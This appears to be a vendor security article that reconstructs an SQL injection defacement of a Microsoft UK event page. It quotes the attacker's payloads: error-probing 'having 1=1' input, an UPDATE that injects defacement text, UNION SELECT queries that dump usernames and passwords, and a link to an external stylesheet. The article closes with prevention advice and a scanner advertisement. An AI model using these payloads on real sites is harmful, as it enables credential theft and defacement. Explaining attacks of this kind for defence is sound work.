The partner event registration page of the Microsoft UK events website, has been defaced by a hacker who managed to discover and exploit a web application vulnerability in one of the parameters used by the form on the website, which could previously be accessed at:
http://www.microsoft.co.uk/events/net/eventdetail.aspx?eventid=8399 [taken offline]
The hacker, known by the name “rEmOtEr”, managed to deface Microsoft’s page by taking advantage of an SQL Injection vulnerability in one of the parameters used by the form that was embedded in the URL of the page. This particular parameter was not being filtered, thus it allowed the hacker to pass any type of crafted code directly to the database being used by this form.
In addition, the hacker managed to discover table names and columns (data fields) inside the database that were being retrieved and shown on the page – this means that any text, or even code, that was inserted inside this column was then displayed on the page.
Tasks performed by the hacker to view database passwords
The following is a short reconstruction of some of the steps performed by the hacker, to discover and exploit the SQL Injection vulnerability in the registration form, allowing him to view stored usernames and passwords in the system:
The parameters of the form were filled in with unusual characters (such as ” ‘ ” and “–“) to see the reaction of the web site. These characters are usually filtered out because they are used in SQL as special commands to talk to a database. The parameters checked included:
Visible inputs (textboxes, dropdown lists, etc..) in the form (POST method)
Hidden inputs from the HTML source code of the page (POST method)
Parameters used in the URL (GET method)
The URL of the website in this case makes use of the two interesting parameters eventID and v2:
In trying to manipulate the parameter v2, for example adding an apostrophe to it, gave the following response from the website:
Upon seeing this error, two things can be confirmed:
Server-Side error messages are ENABLED on the web server – These are usually enabled only during development and testing so that any bugs, or in this case vulnerabilities, are discovered before going live. When the website goes live, server-side error messages are usually disabled so that no sensitive information is provided online.
The parameter v2 is NOT being filtered for malicious characters/code – This means that whatever this parameter contains, it will be passed to the SQL Server being used without any filtering.
This long SQL error revealed a lot of important information about the underlying database, which were used by the hacker to further extract and change data stored inside this database.
The hacker obtained more valuable information directly from the database, by playing around with the SQL Commands passed through this parameter through trial and error. He was helped further by the error messages being displayed on the page.
The SQL Command 1 having 1=1– was sent with the v2 parameter where it was appended to the main SQL Query sent to the database. This added a condition to the SQL Query, which is always true (1=1), and in this case it confused the SQL Server because of a GROUP BY command producing the following error:
http://www.microsoft.co.uk/events/net/PreRegister.aspx?eventID=p83968&v2=1 having 1=1–
The result? More database information was revealed!
The table name MultivenueLists and some column names such as recordID and venueStatus were revealed, from which the hacker understood more about the structure of the database.
In Structured Query Language (SQL) columns are referred to with the notation TABLE(dot)COLUMN which is why the columns are shown like MultivenueLists.recordID)
- Once the hacker got to know the names of tables and columns, he injected some text inside a specific column by adding a statement such as 1 update MultivenueLists set venueStartDate=’hacked by rEmOtEr’;– to the input of the v2 parameter in the URL:
…ster.aspx?eventID=p83968&v2=1 update MultivenueLists set venueStartDate=’hacked by rEmOtEr’;–
Figure 2: The resulting page does not give an error this time, but the text just inserted into the database is displayed on the page
- Using the UNION SELECT statement, the hacker managed to obtain a list of usernames and passwords from the system by guessing the names of two columns (username and password) and one table (users).
This was the SQL Command used for the v2 parameter to obtain the usernames:
…ster.aspx?eventID=p83968&v2=-1 union select 1,2,3,4,username,6,7 from users–
This was the SQL Command used for the v2 parameter to obtain the passwords:
…ster.aspx?eventID=p83968&v2=-1 union select 1,2,3,4,password,6,7 from users-
- Using a combination of queries with userID the hacker was able to determine which password belongs to which username.
Tasks performed by the hacker to deface the page
The following is a short reconstruction of some of the steps performed by the hacker to discover and exploit the SQL Injection in the registration form:
- Once the hacker knew enough about how to inject his own code into the website’s database, he prepared a simple HTML page on a third party remote host to be used for the attack.
- Using similar commands as those used to display his own text into the page, the hacker inserted the following URL of the HTML website hosted at the third party remote host:
<link xhref=http://h.1asphost.com/remoter/css.css type=text/css rel=stylesheet>
- The form page on the Microsoft site is created in such a way, that it loads up a specific text from the database when a user browses on the page (typical of CMS Systems). Since this text has been replaced by the xhref link above by the hacker, this took over the entire look of the page by loading the contents from the external host.
- This is what the web page looked like as a result of this defacement:
What lead to this defacement?
There was a combination of two things that led to this defacement happening – apart from a hacker willing to take a shot at a form hosted on a Microsoft website:
- SQL Injection – One of the parameters in the URL was being sent directly to the database without being properly filtered before. This provided a channel for the hacker to talk directly to the database with the exact same rights as the connection from the web server and the database server.
- Error Messages – From the enabled SQL error messages on the website, the hacker could get an idea of how the database was structured. This helped him into refining an SQL command, so that the database processed the instructions to insert the defacement code into the database to deface the site.
How could it have been prevented?
The best way to prevent being hacked is to regularly check your website for vulnerabilities that can be exploited by hackers. In doing so, this SQL injection vulnerability could have been detected and fixed before the page went live.
How to keep your website secure
The larger the website the more complex it is to regularly check for vulnerabilities on each page. The hacked page on the Microsoft site was just a small part of a much larger website which was overlooked – a common result of manual security auditing.
This complexity can be overcome with the use of an automated web application scanner such as Acunetix Web Vulnerability Scanner. Using such a powerful, yet easy to operate tool, you are able to scan every parameter on each and every form on your website, for hundreds of vulnerabilities in a fully automated way. This would of course cut on the complexity and time required to perform a security audit on your website.
The use of an automated web application scanner also means that whoever performs the audit does not require any technical knowledge about web vulnerabilities, instead only needs to run the application to scan the website and produce a vulnerability report.